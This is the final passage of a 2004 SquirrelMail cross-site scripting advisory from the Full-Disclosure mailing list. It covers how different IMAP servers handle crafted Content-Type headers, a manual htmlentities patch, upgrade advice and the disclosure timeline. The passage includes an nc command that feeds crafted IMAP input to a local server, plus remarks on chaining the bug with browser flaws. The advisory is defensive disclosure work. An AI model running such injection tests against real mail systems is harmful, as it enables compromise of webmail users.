0 fetch 1 BODYSTRUCTURE
0 logout
roman@rs-labs:~/courier$  (cat imap ; sleep 0 ; cat imap2) | nc localhost=
 143
[...]

3) Cyrus 2.1.16 (Debian package: cyrus21-imapd 2.1.16-6)

  Definitely, it is not exploitable due to hard filtering. When Cyrus =
detects
forbidden chars ("/", " ", "<", ...) automatically sets Content-Type to =
"Text /
Plain". Having a look at Cyrus' source ("imap/message.c"), we can see:

#define TSPECIALS "()<>@,;:\\\"/[]?=3D"
[...]
message_parse_type()
[...]
message_parse_rfc822space()
[...]

  See the source for additional info. This time we had no good luck :-(

  I did not check other IMAP servers but I think it is sufficient. I'm =
still
curious about the differences showed among tested IMAP software. Please =
feel
free to drop me an e-mail and tell me.

  XSS vulnerabilities are often understimated, despite being dangerous =
and
constitute a real risk. Combine this bug with some of the multiple IE =
vulne-
rabilities and you could have a bomb (remote compromise of the victim) =
:-)



.: [ WORKAROUND AND SOLUTIONS ]

* Fast manual fix (tested on 1.5.1-CVS):

Edit "functions/mime.php" and replace:

        $type0 =3D strtolower($header->type0);
        $type1 =3D strtolower($header->type1);
by:
        // Security Fix (Content-Type XSS)
        $type0 =3D htmlentities(strtolower($header->type0));
        $type1 =3D htmlentities(strtolower($header->type1));

* Official solution for 1.4.3-RC1 (and older versions):

Upgrade to 1.4.3.

* Official solution for 1.5.0:

Upgrade to 1.5.1 CVS (or use some of the latest snapshots).



.: [ HISTORY ]

* 22/May/2004: - Mail sent to samj@debian.org, jon@squirrelmail.org and
              marc@squirrelmail.org announcing my intention to disclose =
the
              bug in aproximately a week.

* 23/May/2004: - Marc Groot Koerkamp <marc@squirrelmail.org> answered and=
 told
              me that he has just fixed the issues in 1.4.3 CVS and 1.5.1=
 CVS,
              so the to be released 1.4.3 "final" will not be affected by=
 the
              bug.
             =20
* 27/May/2004: - Jonathan Angliss <jon@squirrelmail.org> told me that SM =
1.4.3
              is going to be released on Saturday (29.May) and there is =
no pro-
              blem with the release of this advisory. Marc also stated =
that SM
              1.5.1 is not planned to be released imminently ("1.5.1 is a
              development branch and people should use cvs for =
development
              branches"). So use 1.5.1 CVS to patch SM devel version.
             =20
* 29/May/2004: - Public disclosure / Advisory released.



.: [ ACKNOWLEDGMENTS ]

  I would like to thank "bladi" of "!dSR" team for letting me use one of =
his
Linux machines where I built the test-lab for Cyrus IMAP. And to the rest=
 of
!dSR staff for its moral support and funny c0ns. Thanks, guys! You are =
cool!

  Lastly, thanks also to Marc Groot Koerkamp and Jonathan Angliss of SM =
Team
for their cooperation and attention payed to this advisory.



.: [ REFERENCES ]

* SquirrelMail site
  http://www.squirrelmail.org/
 =20
* Cgisecurity. "The Cross Site Scripting FAQ"
  http://www.cgisecurity.com/articles/xss-faq.shtml

* RFC 3501 (supersedes 2060). "Internet Message Access Protocol - Version=
 4rev1"
  http://www.faqs.org/rfcs/rfc3501.html

* RFC 2822. "Internet Message Format"
  http://www.faqs.org/rfcs/rfc2822.html

* RoMaNSoFt's Research Labs
  http://www.rs-labs.com/

* Digital Security Research - !dSR
  http://www.digitalsec.net/

                    -=3DEOF=3D-

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.8 for non-commercial use <http://www.pgp.com>

iQA/AwUBQLd/RuR/in3q1WdCEQLd0wCgwTIbxnLBfhsYiqM7woBysnwG6YcAn0TH
wkqALge/JWFMbyCMbKUDs1jz
=3DPxWz
-----END PGP SIGNATURE-----

----=_0edib09dan6os27juq9aq5mjt7e5o15ke1.MFSBCHJLHS--

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC